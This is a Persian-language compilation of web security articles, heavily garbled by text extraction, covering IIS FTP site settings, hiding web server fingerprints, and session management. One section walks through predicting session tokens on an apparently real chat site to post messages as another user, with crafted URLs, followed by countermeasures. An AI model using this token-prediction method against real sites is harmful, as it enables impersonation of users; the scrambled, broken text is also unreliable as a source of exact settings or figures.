وان يزمان. را بدنبال داشته باشدFTPس دهنده یتی در ارتباط با سرويمشکلات امن ا  ب anonymous  که کاربران بعن  می  log onت یه س
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ست الکترونینما د ، از آدرس پ ردد   ين ی گ تفاده م ور اس ز عب وان رم ان بعن ی آن رو. ک ده یس ه از FTPس دهن امaccount در ادام ا ن    ب
IUSR_computername   بعنوانlogon account    رد د ک تفاده خواه ه ا  .  بمنظور بررسی مجوزهای مورد نظر ، اس ن ی لازم است ب

ا سرو  Integrated windows authenticationردد که ز اشاره گينکته ن دارد   FTPس ی در رابطه ب ائ  .  وجود ن سمت پ ن پنجره  يدر ق
 وجود دارد FTPت یت سایری مربوطه به مدaccount بمنظور مشخص نمودن   ، امکانات لازمSecurity Accounts Tabمربوط به 

.  

  

ه  ین رابطه لازم است گز  ی در ا ه   accountق ي  ، بمنظور تطب Allow IIS to control passwordن وط ب  و رمز  anonymous مرب
ور  ا( عب صورت " عموم ا  ) IUSR_computernameب ش  ی اaccountب ده در بخ اد ش ه  usersج وط ب  Computer مرب

management   ردد اب گ امل IUSR_computernameکه يدر صورت. ، انتخ ه account ش وط ب ی anonymous مرب د ، م  نباش
امپ   accountک ی ف شده ی تعرaccount  د کهی مطمئن گردستیبا ر روی ک ی  ي ب د . است   ) local computer( وتر محل ب ، ي ن ترتیب

 مربوط account  کهيدر صورت.( خواهد بود  س دهنده وب قابل دسترسی ، سرو  Domain controller  ابی بهيدر صورت عدم دست
 ) .رفته شده باشد  در نظر گdomain accountک ی anonymousبه 

Messages Tab  

  
اربران    یام را بمنظور نما   ين بخش می توان سه نوع پ      یبا استفاده از امکانات موجود در ا       رای ک ود     ش ب ورود  ( Welcome:  مشخص نم

اربر از سا ی  بمنظور خروج   Exitام ي ، پ ) FTPت یبه سا داد ارتباطات    ي ـت و پی ک ک  .  )Maximum Connections( ام حداکثر تع
تفاده ي امن Bannerک ی که به شکل      ام خوش آمد گوئی   يک پ یشنهاد می گردد که از      يپ ردد   تی می باشد ،اس ام های خروجی می    ي از پ. گ

 محقق  FTPت یکه حداکثر تعداد ارتباط به سایدر موارد.  گردد   کاربر استفاده ش هشدارها ئی بر اساس توقف ارتباط      یتوان بمنظور نما  
 . ت بوجود آمده ، آگاه نمود ي را نسبت به وضع ام مناسب کاربرانيک پیان با ارائه می گردد ، می تو

  

  

Home Directory Tab    
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ه شده      ی محتو) آدرس  ( ن بخش بمنظور مشخص نمودن مکان         یاز امکانات موجود در ا     ر روی    یک دا ی ( ات ارائ وری ب امپ   رکت وتر ،  ي ک

ردد    ) URL redircetionsک یا یک فولدر به اشتراک گذاشته شده در شبکه و ی تفاده می گ ی يمس . اس وری ، مجوزهای   ی دا ر محل رکت
وان در ا   ي د را ن  یرنده ارسال می نما   يس گ ی برای سرو  IISرکتوری که   یست دا ي ل  شیابی و سبک نما   يدست ود   ی ز می ت . ن بخش مشخص نم
ل ی که ضروری است که امکان ارسال فا  يدر صورت.  باشد "فقط خواندنی"دارای مجوز   " رکتوری فوق ، صرفا   یشنهاد می گردد که دا    يپ

 )Upload (  ردد دو دا     يرد،پيار کاربران قرار گ   يدر اخت وری مجزای د    یشنهاد می گ وری   یگر تحت دا    یرکت ردد     ی ، ا  ftprootرکت اد گ . ج
ایکی از دای وری ه ت رکت وز دس دنی "ابی ي دارای مج ط خوان ا" فق اط ب اتي ذخ در ارتب ر ره اطلاع ترس ب ل دس اربران  قاب امی ک ای تم

وری د ی و دا downloadبمنظور   ط نوشتن   " " گر ، دارای مجوز صرفا   یرکت رای ارسال فا  " فق ر روی سرو    ی ب اربران ب س یل های ک
تقرار فا     " رکتوری دوم صرفا  یدا. (  باشد    FTPدهنده   رای اس ی موقت ب ود      ی محل د ب اربران خواه ه  ) . ل های ارسالی ک کی از  یدر ادام

وق شده و پس از     یل های ارسالی در دا  ی ت بررسی داده و فا يمی تواند دارای مسئول ) web operatorا ی و (ستم يران سیمد وری ف رکت
تقرار فا  یتی و ساينان از عدم وجود مسائل امن    يحصول اطم  ه اس وری اول بمنظور در   یل های ارسالی در دا  ی ر موارد مرتبط ، اقدام ب رکت

  . د یر کاربران نمایسط سا توDownloadار گذاشتن آنان برای ياخت

  

Directory Security Tab  

  
ود  IP را بر اساس آدرس های  FTPت یابی به ساياست دستين بخش می توان س    یبا استفاده از امکانات موجود در ا       ن ی  در ا . مشخص نم

ه وجود دارد   یرابطه دو گز  ا انتخاب گز   . Denied Access و Granted Access: ن ه  یب امی کامپ Granted Accessن ا  ي ، تم وتره
ائی يابی به منابع موجود خواهند شد ، بجزء کامپيقادر به دست ه آدرس   وتره ان مشخص شده است     IP ک ا انتخاب گز  .  آن ه  یب  Deniedن

Access  امپ   "  ، صرفا ه آدرس    وتريآندسته از ک ائی ک ت       IPه ه دس ادر ب د شد ، ق ان مشخص خواه امی      ي آن وده و تم ابع موجود ب ه من ابی ب
: ز موجود می باشد    ي گر ن ینه دی مشخص می گردد ، سه گزIPکه آدرس های یدر موادر. ده گرفته خواهد شد یگر نادیاست های د درخو

single computer  و group of computers ) ت یدر ا د  Subnet mask و network IDن حال د ش شخص خواه ا ی و  ) م
Domain Name  ) ی   ي ک پینه ، ین گزیپس از انتخاب ا. دقت لازم را انجام داد  ستینه فوق ، می بایانتخاب گز در ام هشداردهنده مبن

ا     DNS reverse lookupک یس دهنده با توجه به ضرورت انجام یبر کاهش کارآئی سرو صال، نم ش ی در ارتباط با هر درخواست ات
ه م    ی مجموعه ای تعر    کهيدر صورت ) . داده خواهد شد   ت    ی ی باف شده از کاربران وجود دارد ک ان مجوز دس ه آن ه دا يست ب وری  یابی ب رکت

ftpنه یشنهاد می گردد، گزي داده شود ، پDenied Access   د . انتخاب گردد ه      يکامپ" ب ، صرفا ي ن ترتیب ادر ب وترهای مشخص شده ق
  .ری بعمل خواهد آمديگران جلوگیابی دي بوده و از دستftpرکتوری یابی به داده موجود بر روی دايدست
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 یمنيش اي افزای وب برای سرورهای پنهان سازیروشها
  
  

پوشش دادن یا پنهان کردن یک وب سرور شامل از بين بردن جزئيات هویتی ای است که هکرها می توانند برای کشف سيستم عامل و 
ران مشروع ندارد ، این اطلاعات در حالی که هيچ استفاده ای برای بهره بردا .وب سرور نصب شده روی آن مورد استفاده قرار دهند

 .اغلب نقطه شروعی برای هکرها می باشد
بيشتر . دراین مقاله به بررسی برخی راهکارهایی که می توانيم با به کارگيری آنها خطر شناسایی را به حداقل برسانيم ، می پردازد

. ورد توجه نفوذگران قرار گرفته استزیرا بخاطر آسيب پذیری زیادش به طور وسيعی م.  ميکروسافت می باشد IISمثالها مربوط به 
غير قابل شناسایی کردن سرور وظيفه همه . همچنين یک سری از اقدامات پيشگيرانه شناسایی برای آپاچی سرور نيز ذکر خواهد شد

  .کسانی است که مسئوليت اجرایی وب سرور را بر عهده دارند
   

   شروع نمی کنيد ؟نفوذگران از اينجا شروع می کنند ، چرا شما از اين نقطه
  

  .و نوع نرم افزار دارند ) Version(آسيب پذیریهای امنيتی متکی بر نسخه . بگذارید از نقطه نظر مهاجمين نگاه کنيم
دانستن جزئيات یک وب . یک نفوذگر برای نفوذ به یک وب سرور باید بداند وب سرور از چه نوعی و دارای چه ورژنی می باشد

  .هاجمی را به مقدار زیاد افزایش می دهدسرور کارآمدی هرگونه ت
   

Server Headerها همه چيز را می گويند :  
  

با استفاده از . بسياری از وب سرورها خودشان و سيستم عاملی را که بر روی آن نصب هستند به هر کسی که بخواهد معرفی می نمایند
تنها کافيست .  هدرهای سرور را تشخيص دهيدhttpيد  می توانHeader Checkیا    Sam Spadeابزارهای بررسی شبکه مانند

Home Pageوب سایت را درخواست نموده و http  که توسط سرور ارسال گردیده را مورد بررسی  بنرهایی یا هدرهای حاصله 
  .  پيدا خواهيد کردServer : Microsoft – IIS/5.0در ميان آنها احتمالا چيزی شبيه به . قرار دهيد

                                    . نيز به صورت پيش فرض همه مشخصات را اعلام می کندآپاچی سرور
   

 Server : Apache/2.0.41-dev(unix)  
   

 را به صورت httpd.confاین کاربران می توانند به سادگی فایل .  هستند Mod Headerدارای مدول   x.2کاربران آپاچی سرور 
  :زیر ادیت نمایند 

   
Header Set Server "New Server Name"   
   

  .متاسفانه در نسخه های پيشين آپاچی سرور نمی توان سرور هدرها را تغيير داد
 URLScansرا نصب نموده و برای برداشتن وجایگزین کردن هدرها از فایل پيکره بندی  Lock Downنيز می توانند IIS  کاربران 

را به کار برید بسيار محتاط  URLScansخواهيد   استفاده می نمایيد و میCold Fusionر در صورتی که از سرو. استفاده نمایند 
در این حالت .  می گرددCFMزیرا روشی که در حال حاضر هدرها را جایگزین می نماید باعث خسارات سنگينی به صفحات . باشيد

  .تنها راه ممکن برداشتن هدرهاست
   

  :پسوند فايلها 
  

.  به طور مشخص نشان دهنده آن است که شما از یک سرور مایکروسافت استفاده می کنيدASPX. یا ASP.ها مانند نمایش پسوند فایل
پسوند فایلهای .  استفاده کنيدJavaو   HTMLدر طراحی سایتها سعی کنيد از. به طور کلی پنهان کردن پسوند فایلها کار مفيدی است

  .ع وب سرور نمی باشدطراحی شده توسط این زبانها نشان دهنده نو
. بوسيله این مدول می توانيد پسوند فایلها را مخفی کنيد.  توجه خاصی داشته باشيدmod negotiationدر مورد آپاچی سرور به مدول 

  . می توان پسوند فایلها را تعویض نمودmod headerهمچنين توسط 
  .ان ساختن پسوند فایلها استفاده نمایند برای پنهPageXChanger  نيز می توانند از برنامه IISکاربران 

   
ASP Session ID Cookie  

  
 آن را  رویاین کوکی ها وظيفه حفظ وضعيت سرویس گيرنده را بر عهده دارند و به سادگی سيستم عامل و وب سرور نصب شده بر

  .مشخص می کنند
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Set –Cookie:ASPESSIONIDQGQGGWFC=MGMLNKMDENPEOPIJHPOPEPPB;    
   

 استفاده ISAPIهمچنين می توانيد برای تغيير اسامی کوکی ها از یک فيلتر . را از کار بيندازید  ASP Session Stateمی توانيد شما 
کمک می   ASPاز کار انداختن آن به بهبود اجرایی .  ها باعث محدود شدن منابع سيستم می گردندASP Sessionاز طرفی . نمایيد

  . ور شما نيز می گرددکند و باعث گمنام ماندن سر
   

WebDAV  
  

 نمی باشد ، بلکه یک IIS منحصر به مایکروسافت یا WebDAV  .می باشد   WebDAV راه دیگر شناسایی سرورهای ویندوزی 
 اطلاعات زیادی را به WebDAVسرور ویندوزی در حالت پشتيبانی .  استIETF با گروه کاری (RFC 2518)استاندارد پيشنهادی 

 , Web Folders   برای پشتيبانی WebDAVدر صورتيکه از . اید که می تواند مورد استفاده هکرها قرارگيردهدر می افز
Outlook Web Access استفاده نمی نمایيد، می توانيد با استفاده از...  یاIISLockDown  یا تغيير در رجيستری آن را از کار 

  .بيندازید
   

  هدرهای ديگر
  

-Xهدرهای .  هویت خود را فاش می سازندHTTP  ه وسيله نمایش هدرهای خاص در پاسخهایبرخی از سرورهای وب ب
Powered-By و X-ASPNET-Version علائم بارزی هستند که نشان دهنده استفاده از ASP.NET   و بنابراین ميزبانیIIS   می

  .مخفی کنيد را باید Microsoft Office Web Serverهمچنين به یاد داشته هدرهای . باشند
   

Windows Authentication  
  

مورد استفاده قرار   را به عنوان راهی برای پنهان نمودن اطلاعات بر روی سرورWindows Authentication نباید IISکاربران 
 Authenticationیک هکر می تواند با توجه به هدرهای . زیرا این شيوه اطلاعات زیادی را در مورد سرور بر ملا می سازد. دهند

WW-پروسهزمانی که یک فایل یا فولدر توسط.  نوع وب سرور را مشخص نماید  Authentication ،ویندوز محافظت می شود 
  . وجود دارد که می تواند مورد بهره برداری هکر قرار گيردString NTLMدرهدرهای فرستاده شده از طرف سرور 

   
  پيام های پيش فرض

  
اغلب نرم افزارهای پشتيبانی کننده وب سرور . تهای پيش فرض نيز باعث شناسایی وب سرور می گرددپيامها ، صفحات و اسکریپ

 ، اسکریپتها Administration Pagesهمچنين تمام . دارای پيغامهای پيش فرض هستند که باید به گونه ای مناسب تغيير پيدا کند
  .مخفی یا پاک شوندهایی که همراه با وب سرور نصب می شوند باید   Documentو
   

  ديگر سرويسها
  

 را FTP و SMTP خدمات دیگری مانند HTTPبسياری از کامپيوترهایی که با عنوان وب سرور استفاده می شوند ، جدا از خدمات 
سرویسهای به ویژه از . به عنوان یک قانون امنيتی سعی کنيد چنين سرویسهایی را در وب سرور خود راه اندازی نکنيد. ارائه می دهند

یک پيغام .  برقرار می گرددSMTPزمانی که یک ارتباط با سرویس .  اجتناب کنيدIIS در مایکروسافت SMTP و FTPپيش فرض 
 اطلاعاتی را HTTPاما مشابه هدرهای . این پيغام هيچ تاثيری در سرویس ایميل ندارد.  فرستاده می شودClientخوش آمدگویی برای 

همچنين سرور پيش .  ویندوز چنين اطلاعاتی را نمایان می سازد SMTPسرویس پيش فرض .  می سازنددر مورد وب سرور بر ملا
 پروسه پيچيده تری SMTP   بنر از اصلاح بنراز آنجایی که اصلاح این. شناخته شده را ارائه می دهد   بنر یکIIS ، FTPفرض 

که بتوان هرگونه پيغامی . است  RhinoSoft's Serv-U FTP Server دیگر مانند   سرورFTPاست بهترین راه جایگزینی آن با یک 
  . سرور دارای امتيازات دیگری نيز از نظر ایمنی می باشدFTPهمچنين این .  نمایش دادFTP  بنررا در

   
  ورودهای غير مجاز 

  
 که هکر   استفاده ميکنندCGI Programیا کنترل یک  ) Shell(پيچيده برای گرفتن شل    URLها از یک   Exploitsبسياری از 

بهترین روش برای مقابله با اینگونه حملات استفاده از یک فيلتر داده . بوسيله آنها می تواند ليستی از فایلها سيستم عامل را بدست آورد
 IISبرای . می باشد که کاراکترهای غير قابل قبول مثل متا کاراکترها را از اطلاعاتی که توسط کاربر وارد می شود حذف نماید
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 ها نيز قابليت پشتيبانی از لایه های کاربردی Firewall  نسل جدیدی از. است  IISLockDown/URL Scan استاندارد جاری
Web Serverرا دارا هستند .  

   
  پشته ها

  
ضعف آشکارسازی حتی زمانيکه علائم افشاگرانه از روی لایه کاربردی وب سرور حذف شد ، بر روی لایه های پایين تر شبکه نقاط 

است که قابل اسکن و شناسایی می باشد ، بهترین   Network Protocolهر سروری با یک اتصال شبکه دارای یک . باقی می ماند
 مربوط به هر IPهمچنين پشته  .می تواند با استفاده از تکنيکهای مختلف سيستم عامل را شناسایی کند NMAPمانند   پشتهاسکنرهای

اولين راه مقابله با این نوع آسيب پذیری ها استفاده از .  آسيپ پذیر استICMP در مقابل شناسایی از طریق پروتوکل سيستم عامل نيز
به این نکته توجه داشته باشيد که با وجود فایروال ، یک تحليل شبکه ای دقيق هنوز هم می تواند نوع وب سرور . یک فایروال می باشد

  . را مشخص سازد
   

Netcraft  
  
 هر وب سایت می توان به اطلاعاتی در مورد سيستم عامل و وب سرور آن سایت بدست URL با وارد نمودن Netcraftر سایت د

  هدرها ،HTTPهمچنين با حذف .  اشتباه شودNetcraft هدرها می توان کاری کرد که گزارش HTTPبا تغيير دادن . آورد
Netcraftواهد کردگزارش ناشناس بودن وب سرور را ارائه خ.  

   
  TCP/IPپيش فرضهای 

  
برای آنکه بتوان یک سيستم عامل . احتمالاً هنوز سيستم عامل شما حتی از پشت یک دیوار آهنين نيز مورد شناسائی قرار خواهد گرفت

 ، RWIN (Receive Window size)      مانند IP/TCPرا به طور کامل ناشناس کرد باید برخی از پيش فرض های محيط 
 (Maximum Transmission Units) MTU ،  MSS (Maximums Segment Size)،  (Time-to-Live) TTL دستکاری 

در زمان تغيير دادن این پيش فرض ها بسيار محتاط باشيد زیرا می تواند تاثير معکوس بر روی وب سرور داشته و یا سيستم . شود 
  . عامل را به طور کامل فلج سازد

  : د به خاطر داشته باشي
هميشه به . برای آنکه وب سرور شما کاملاً ناشناخته بماند باید تمام مواردی که در بالا ذکر شده است را بصورت ترکيبی به کار برید

یک نفوذگر ماهر و مصمم می . یاد داشته باشيد این اقدامات پيشگيرانه تنها می تواند باعث شکست اکثر نفوذ گران گردد نه همه آنها
  ..تمامی این سدها عبور کندتواند از 
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 جعل هويت در وب به صورت ساده 
  
  

   ی مثال واقعيک
  

 یکت ی سایاربردکد برنامه ی شوی وارد اتاق گفتگو مید وقتی رفته اcom.iranianchat.wwwت ی از شما تا به حال به سایليحتما خ
chatIDن یغام شما به همراه ايد پينک ی ارسال میغاميه شما پک دهد و هر بار ی به شما مchatID ی باشد برایانگر شما میه نماک 
  :رده است کره ير را ذخین برنامه از طرف شما اطلاعات زی گردد و ای ارسال میاربردکبرنامه 

chatID = 3087.2 
Name = “Kalantar” 
Color = “#b2b2b2 
Msg = Your Message 

  
غام را از طرف شما و با نام ين پین برنامه ای شود ایت ارسال می سایاربردک برنامه ی شما براChatID به همراه یغامي پیحال وقت

ه کم يني بیم میاندازی  وب بیاربردک داده شده توسط برنامه ی هاChatID نگاه ساده به یک یحال وقت .سدی نویشما در اتاق گفتگو م
  : شودیاربران داده مک به یتم خاصی الگوریک ی با هم دارند و رویا شباهتآنه

   
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3087.2 
k1 omad 5/9/2004 12:51:27 AM (213.17.8.4) 
  
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3091.507 
k2 omad 5/9/2004 12:51:31 AM (213.17.8.4) 
  
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3095.512 
k3 omad 5/9/2004 12:51:35 AM (213.7.8.4) 
  
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3107.239 
k4 omad 5/9/2004 12:51:47 AM (213.7.8.4) 
  
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3111.235 
k5 omad 5/9/2004 12:51:51 AM (213.١7.8.4) 
  
http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3116.242 
k6 omad 5/9/2004 12:51:56 AM (213.17.8.4) 
  

 :دی آی ساختن نشانه نشست به دست میار رفته براکتم به ی آنها الگوریري اعداد و ارقام به دست آمده و آمارگیبا جمع آور
   

12:51:31 - 12:51:27 = 00:00:04  ==>  3091-3087 = 4 
12:51:35 - 12:51:31 = 00:00:04  ==>  3095 - 3091= 4 
12:51:47 - 12:51:35 = 00:00:12  ==>  3107 - 3095= 12 

  
  : باشدیر میار برده است به صورت زکت نشست ها به یری مدیت برایس سایه برنامه نوک یتمیالگور

   
ChatID      = Num1.Num2 
OldNum1   = Num1 ن نفر ی آخری برا  
Num1       = (  OldNum1 + (  زمان ورود شخص –ن نفر یزمان ورود آخر
Num2       = ٩٩٩ تا ٠ن ي بی عدد تصادفیک  
  

 : باشد یر میه اطلاعات آن به صورت زک شود ی وارد مX یآقا  K6د پس از نفر ينک تر ، فرض یبه عنوان مثال عمل
....................................................................... 
k6 omad 5/9/2004 12:51:56 AM (213.17.8.4) 
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K6 : Salammmmm 
K6 : 
X omad 5/9/2004 12:5٢:١6 AM (١٠.7.٢8.157) 
X : Hi ! 
X: Salam K6 

 ........................................................................  
  

 : باشد یر میاطلاعات آن به صورت ز. ه وارد شده استک ی به زمانیند و نگاهک ی خود مChatID به ی نگاهK6ن هنگام یدر ا
   

ChatID = 3116.242 
Time = 12:51:56 
  

 به X ی آقاChatID یعنیند کدا ي قسمت اول نشست را پی تواند به راحتیم ) 12:52:16(  وارد شده اند X یه آقاک یو از زمان
 : باشد یر میصورت ز

   
12:51:56 - 12:52:16 = 20 
ChatID = 3116 + 20 = 3136  

   
ه ک باشد ی لازم مNum2 یردن عدد تصادفکدا ي پی وقت برایمکآورد البته فقط  را به دست ی توان نشست نفر بعدی میخوب به راحت
  . شودی انجام م ارکپت به صورت خودیرک اسیکله يآن هم به وس

  : باشد یر میه به صورت زک فرستد یر را می زURLرد آنگاه کدا ي قسمت دوم عدد نشست را پK6 یه آقاک یهنگام
   

http://www.englishpersian.com/Chat1/Chat.asp?ChatID=31٣6.٣۵ 
  

 یت نوشته می در ساXغام به نام شخص يند پک را ارسال یغامين هنگام اگر پی شود در ای باز مK6 ی آقای اتاق گفتگو برایصفحه اصل
  .شود

X : I’m K6 ! 
X : I’m K6 ! 
X : I’m K6 ! 
X : hehehehehehe ! 
  

  
   مقابلهیراهها
  نگونه حملات محدود شود؟یند تا اکر ييد تغی ما چگونه بای هایاده سازي ها و پیطراح
 ی را به درستی سمت سرور و سمت مشترید نشست هاینگونه حملات فقط بای تحت وب از ایاربردک یردن برنامه هاک امن یبرا
  : مقابله آمده استی از راههایر بعضیدر ز. ردکت یریمد
   
   نشستی هاIDها و کی وکش طول داده ها در ی افزا-١
 یمتر مکار ي نشانه بس شفکت نفوذگر در يتر باشد احتمال موفقکاراک ٣٢ها کی وک در یاربرک حساب ی مثال اگر طول داده هایبرا
  .دينکسه یمقا)  ١٠٣-١( را با )  1032- ١(د اندازه عدد ي توانین منظور می فهم ایبرا.شود

   
  ديش دهی را در نشانه نشست خود افزای تصادفی قسمتها-٢
  
چگاه از يه. ديش دهید ؛ افزای آی به دست میه به صورت تصادفک نشانه نشست را ، ی از داده هایی بالاتر قسمتهایتيل امني پتانسیبرا

  .ندکر مشروع ي مشروع و غیتر هاکاراکر ي درگیمکن است شما را کار ممکن یالبته ا. دينک نشانه ها استفاده نی برایبي ترتیداده ها
   
  دينکده و نامفهوم يچيتان را پ یهاکی وک -٣
  

کی وک ی به ساختمان بندیده تر شود و نتوان به درستيچيت و مفهوم آن پيه وضعک شود یها باعث مکی وک یردن مدخل هاکنا مفهوم 
ن یگرداندن او با بر نند ک یارکها را دست کی وک ی نتوانند به راحتK6ش مانند یه افراد بد اندک شود ین امر باعث ميهم.  بردیها پ
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شتر يد بیز باي آن نیدگيچيها مهم تر باشد پکی وکالبته هر چه اطلاعات رد و بدل شده در .  بزنندیگریس دک ی خودشان را جاکیوک
  .شود

   
  دينکد شده توسط سرور استفاده ي نشست تولی از نشانه ها-۴
  

مثال .  باشدی سرور میاربردکد شده توسط برنامه ي تولیها نشست استفاده از نشانه یردن نشانه هاکجاد ی ایشنهاد مناسب براي پیک
 یان شد را دارا ميه در بالا بک ی مواردین نشانه تمامیا.  باشدی مJSESSIONID و ASPSESSIONID یین نشستهاي از چنییها

  . باشند
   
  دينک نشست محافظت ی داده های از محرمانگ-۵
ن گونه یه اکنی ایبرا. ه بدزدندک شبی نشست را از روین است نفوذگران نشانه هاکمم نشست ، یها و نشانه هاکيوک یارک از دستیجدا

  .دينک استفاده SSLننده اطلاعات مانند ک رمز یلهاکم بماند از پروتيز عقيحمله ن
   

ه در نظر ی لات چندي امنیکد ی باشد و بایمن نمیامل اکچگاه به صورت ي وب هیاربردک برنامه یکه کد يالبته به خاطر داشته باش
  :ر باشدی تواند شامل موارد زیه مک. من باشدین حملات ای شما در مقابل اید تا برنا مه هایريبگ
دن یا دزدی بردن و ی پی را برایله شما به نفوذگر وقت محدودين وسیبد. دينک اعتبار ی نشست را بی نشانه های مدت زمانیک بعد از -

  .دی نشست داده اینشانه ها
 نشست توسط یده شدن نشانه هایه باعث دزدک   XSSا ی CSS چون ید تا از حملاتينکنترل ک ها را ی ورودیسرور تمام در سمت -

  .دی شود ، محافظت شوینفوذگران م
  

 ن راه گذرانده اندی عمر خود را در ایه سالهاک شد ی انجام می و با تجربه ا ی توسط دزدان حرفه اکی بانی گذشته سرقتهایدر زمانها
 ی ارتباط تلفنیکه فقط ک شود ی انجام می سال١٨ر یها توسط افراد زک از بانی امروزه دزدین راه شده اند ولیر ايو به قول معروف پ 

 .نترنت دارندیبا ا
   

  :د ير را بخوانی زیو هاین خطر سناریدن اي فهمیبرا
  :و اول يسنار
سرور وب ( خودی محلکبه بان) گاه داده یپا( خودکی حساب بانیس برریبرا) اربر مشروعک(  باشد یارمند ساده مک یکه کل یکما
  . گرددیارش را انجام داده و بر مک)  وب یاربردکبرنامه (لدار آن ی و توسط تحو  رودیم ) کبان
   

  :و دوميسنار
 یه مک ی مشتره هريو خودش را شب ) ٨٠پورت ( شودی رفته و از در جلو وارد می محلکبه همان بان) اربر نامشروعک(ادوارد 
  ! ند ک یخواهد م
ن از نظر نگهبان یبنابرا) گر ی دیپورتها(گر وارد شود ی دیه از درهاکست ي لازم نک سرقت بانیه براکند ک یر مکن فی به ایاو حت

ه يکال شود در حی میس دهیسرو)  وبیاربردکبرنامه  (یگریل دار دیاو توسط تحو.  باشدی می خطریاو فرد ب) واره آتشید(جلو در 
 Session Management(ت نشست ها یریمد(رده استکن را باور یز ايل دار نیرده است و تحوک یل معرفیکاو به دروغ خود را ما

  . داشته باشدیل دسترسیک ماکیه به حساب بانک دهد ین به او اجازه میبنابرا.  باشدیل میکست و مايه او ادوارد نک)) 
   

  . باشدی نمییز قابل شناساين) واره آتشید (یتيه توسط نگهبان امنک دهد یت را شرح میهو جعل ی حمله واقعیکو دوم یسنار
 ی واقعیاي شود باعث شده است حملات به آنها از دنینترنت انجام میه توسط اک یگریز ديا هر چی و يکیترونک الیاد تجارتخانه هایازد
  .ان دهدکر ميي نفوذگران تغی مجازیايبه دن
باعث )  معروف است [2]تی نفوذگران به حملات جعل هویايه در دنک(  وب یاربردک ی در برنامه هایتیت جعل هون حملايجه چنينت
  . باشدیوب م آنها در یه های سرمایت افراد و پس از آن دستبرد و دزدیار شدن اطلاعات و هوکآش

لاه ک از نفوذگران یارينگونه حملات مورد توجه بسیه اک باعث شده است ین حملاتيص چني آتش در تشخیواره هایبه علت ضعف د
  .سان تحت وب قرار گرفته استیت ها و برنامه نویران سای از مدیاري بسیرد و باعث دغدغه خاطر و نگرانياه قرار گيس

ن ی شود فهم ایه زده مک یین نوع حمله داده شود و توسط مثالهای درباره ایار مختصريح بسيه توضکن مقاله قصد بر آن است یدر ا
ت نشست ها داشته یریها مديکنک با تیبی تقریید آشناین مطلب بای فهم بهتر ایهر چند برا. مينک از دوستان راحت یاري بسیمطلب را برا

تها قرار یسان سایران و برنامه نوید است مورد توجه مديه امکان شده است ي حملات بن گونهی مقابله با ایز راههايان نیدر پا. ديباش
  .رديگ
   
  ت نشستهايريمد
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ه ک ی اHttp هر درخواست ی رود تا برایار مک وب به یاربردک یله برنامه هايه به وسک باشد ی مییهايکنکرست نشستها شامل تیمد
ن یت ایریت مديمسوول.  به آن درخواست داده شود ی حق دسترسیب مجوز لازم براسکنند و ک نLOGIN فرستند هر باره یاربران مک
 Statefullبه حالت   Stateless از حالت Httpل که پروتک باشد یله مين وسيبه هم .  باشدی وب میاربردکار توسط خود برنامه ک

 نشانه نشست یکاربر ک یسب مجوز لازم براکدن  وب پس از دایاربردکه برنامه ک باشد ین صورت میت نشست ها به ایریمد.دیدرآ
ن یا.  شودیره مي ذخیستم مشتريه در سک گردد یم ميها تنظکيوکن نشانه توسط مجموعه یشتر مواقع ايدر ب. ندک ی او ارسال میبرا

  .ص دهديرا تشخت شما ی وب بر طبق آن هویاربردک گردد تا برنامه یاربر دارد ارسال مکه ک ی نشست با هر درخواستینشانه ها
   

  :مثال ساده 
د ينک ی اسم را انتخاب میکه ک ید هنگامید وارد اتاق گفتگو شوي خواهید و می شوی وارد مcom.iranianchat.wwwت ی در سایوقت

ه ک یه در متن صفحه اتاق گفتگو نهفته است و وقتکد  دهیبه شما م ) chatID( نشانه نشستیک یاربردکد برنامه ی شویو وارد اتاق م
 ارسال شده و متن فرستاده شده از طرف یاربردک برنامه ین نشانه برایغام شما به همراه ايد پي فرستی دوستتان می را برایغاميشما پ

  :ری به صورت زیعنی. گرددی صفحه ظاهر میشما رو
   

http://www.englishpersian.com/Chat1/Chat.asp?ChatID=3087.2&PostMsg=Hello 
  

 یعنیدام ندارد در مثال بالا کسب مجوز دارد و کاربر کدام که ک دهد یص مي تشخیاربردکه برنامه ک باشد یق مین طريو از هم
  !ر يا خیرده است ک خود انتخاب ی برایا قبلا اسمیند آک یا ارسال مام خود ريه پک یاربرک
 ین دسته بندیا.  سمت سرور یسمهايانک و می سمت مشتریسمهايانکم:  توان گنجاند یت نشستها را در دو دسته میری مدیسمهايانکم

  . شودیبدل م رد و یاربردک ی و برنامه هاین مشتريه بک است یی نشست های نشانه هایبر اساس محتوا
   
  اربرک سمت یت نشستهايريمد
ن بخش ین ایبنابرا. باشدیاربران مکسب مجوز به ک دادن ین بخش برای ترین شامل ضرورکت نشستها ، نشانه تویرین نوع از مدیدر ا

حال اگر .  گرددی انجام میها در سمت مشترکيوکار توسط کن یه اغلب اک شود یره مي خیسب مجوز در سمت مشترکاز اطلاعات 
ن شخص یه اکند ک یر مکنگونه فی ایاربردک شود آنگاه برنامه یگریه نشانه فرد دير دهد تا شبيي ماهرانه تغین نشانه را طوری ایسک

  .همان شخص است
   
   سمت سروریت نشستهايريمد
 کاربران در بانکت اطلاعات یرین نوع مدیه در اکن است ی وجود دارد و آن ایت با نوع قبلیرین نوع از مدین اي بی اختلاف اساسیک

ن يب ) Token Session(ز نشانه نشست ينجا نی در ایول.  گرددیره نمي ذخیچ اطلاعاتيها هکيوک شود و در یره مي سرور ذخیاطلاعات
 یسب مجوز لازم براکه کنید و پس از ای شوی مxyzbank.comت ی وارد سایبه عنوان مثال وقت.  شودیاربر رد و بدل مکسرور و 

  . باشدین نشانه شما میه اکرد ي گی به شما تعلق مsessioniID یکد یردکافت یت را دریورود به سا
   

Amiri:  
http://www.xyzbank.com/showbil.asp?sessionID=1027 
Alizade: 
http://www.xyzbank.com/showbil.asp?sessionID=1028 

  
  aaa: ره گرددير ذخی سمت سرور به صورت زی اطلاعاتک تواند در بانی مین نشانه هایا
   

Account Number Admin Username Index 
…. …. …. …. 

All Y Hosseini ١٠٢۵ 
٠٨٧ N Madadi ١٠٢۶ 
۵۴۵ N Amiri ١٠٢٧ 
٧٨۴ N Alizade ١٠٢٨ 
۴۵٢ N Sharifi ١٠٢٩ 

…. …. …. …. 
   

زاده ي علی آقاSessionID  خودش را به SessionIDه ک است یافکزاده بزند ي علی آقای بخواهد خودش را جایري امیه آقاکنی ایبرا
  .ر دهد ييتغ
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 One-Way Hacking حملات 
  
 

  مقدمه
 
